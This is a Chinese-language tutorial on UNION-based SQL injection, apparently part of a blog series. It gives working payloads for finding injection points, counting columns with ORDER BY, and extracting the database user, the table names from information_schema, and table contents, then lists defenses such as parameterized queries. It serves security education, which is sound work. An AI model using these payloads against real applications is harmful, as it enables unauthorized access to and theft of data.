SQL注入系列篇之union联合注入
字数 809 2025-08-11 01:06:30

SQL注入系列:Union联合注入详解

一、Union注入概念

Union注入是一种基于SQL语句UNION操作符的注入技术。在SQL中,UNION用于合并两个或多个SELECT语句的结果集,前提是这些SELECT语句必须拥有相同数量的列。

基本语法示例

SELECT 1,2,3 FROM table_name1 UNION SELECT 4,5,6 FROM table_name2;

在注入过程中,我们把UNION SELECT 4,5,6 FROM table_name2部分称为union注入部分,其关键特点是:

  • 通过UNION与前面的SQL语句拼接
  • 构造的列数必须与前面的SQL语句列数相同
  • 可以执行任意SQL查询并获取结果

二、Union注入利用流程

1. 判断注入点类型

首先需要确定注入点的类型(数字型或字符型):

  • 数字型注入测试:

    3-2
    1 AND 1=1
    
  • 字符型注入测试:

    1" AND "1"="1
    1' AND '1'='1
    

通过观察回显可以确定注入类型。例如:

1' AND '1'='1  -- 正常返回
1' AND '1'='2  -- 异常返回

这表明存在单引号字符型注入。

2. 判断SQL语句的列数

使用ORDER BY子句确定原始查询的列数:

1' ORDER BY 5#    -- 尝试5列
1' ORDER BY 3#    -- 尝试3列
1' ORDER BY 2#    -- 尝试2列

ORDER BY n不再报错时,n即为原始查询的列数。

3. 实施Union注入

构造Union注入语句的基本格式:

1' UNION SELECT 1,2#

其中:

  • 1'部分与原始SQL的单引号拼接
  • UNION连接原始查询
  • SELECT 1,2是攻击者可控部分,列数必须匹配
  • #注释掉原始SQL的剩余部分

进阶利用

获取数据库用户和名称:

1' UNION SELECT user(),database()#

获取所有表名:

1' UNION SELECT group_concat(table_name),database() FROM information_schema.tables WHERE table_schema=database()#

获取表数据:

1' UNION SELECT column1,column2 FROM table_name#

三、后台SQL分析

假设原始SQL为:

SELECT first_name, last_name FROM users WHERE user_id = '$id';

当输入1' UNION SELECT 1,2#时,实际执行的SQL变为:

SELECT first_name, last_name FROM users WHERE user_id = '1' UNION SELECT 1,2#'

四、防御措施

  1. 使用参数化查询(预编译语句)
  2. 实施输入验证和过滤
  3. 最小权限原则,限制数据库用户权限
  4. 使用Web应用防火墙(WAF)
  5. 错误信息处理,避免泄露敏感信息

五、总结

Union注入是一种高效的SQL注入技术,通过:

  1. 确定注入点类型
  2. 探测列数
  3. 构造匹配列数的UNION查询
  4. 逐步获取数据库信息

防御的关键在于避免SQL语句的拼接,使用安全的数据库访问方式。

SQL注入系列:Union联合注入详解 一、Union注入概念 Union注入是一种基于SQL语句UNION操作符的注入技术。在SQL中,UNION用于合并两个或多个SELECT语句的结果集,前提是这些SELECT语句必须拥有相同数量的列。 基本语法示例 : 在注入过程中,我们把 UNION SELECT 4,5,6 FROM table_name2 部分称为union注入部分,其关键特点是: 通过UNION与前面的SQL语句拼接 构造的列数必须与前面的SQL语句列数相同 可以执行任意SQL查询并获取结果 二、Union注入利用流程 1. 判断注入点类型 首先需要确定注入点的类型(数字型或字符型): 数字型注入测试: 字符型注入测试: 通过观察回显可以确定注入类型。例如: 这表明存在单引号字符型注入。 2. 判断SQL语句的列数 使用 ORDER BY 子句确定原始查询的列数: 当 ORDER BY n 不再报错时,n即为原始查询的列数。 3. 实施Union注入 构造Union注入语句的基本格式: 其中: 1' 部分与原始SQL的单引号拼接 UNION 连接原始查询 SELECT 1,2 是攻击者可控部分,列数必须匹配 # 注释掉原始SQL的剩余部分 进阶利用 : 获取数据库用户和名称: 获取所有表名: 获取表数据: 三、后台SQL分析 假设原始SQL为: 当输入 1' UNION SELECT 1,2# 时,实际执行的SQL变为: 四、防御措施 使用参数化查询(预编译语句) 实施输入验证和过滤 最小权限原则,限制数据库用户权限 使用Web应用防火墙(WAF) 错误信息处理,避免泄露敏感信息 五、总结 Union注入是一种高效的SQL注入技术,通过: 确定注入点类型 探测列数 构造匹配列数的UNION查询 逐步获取数据库信息 防御的关键在于避免SQL语句的拼接,使用安全的数据库访问方式。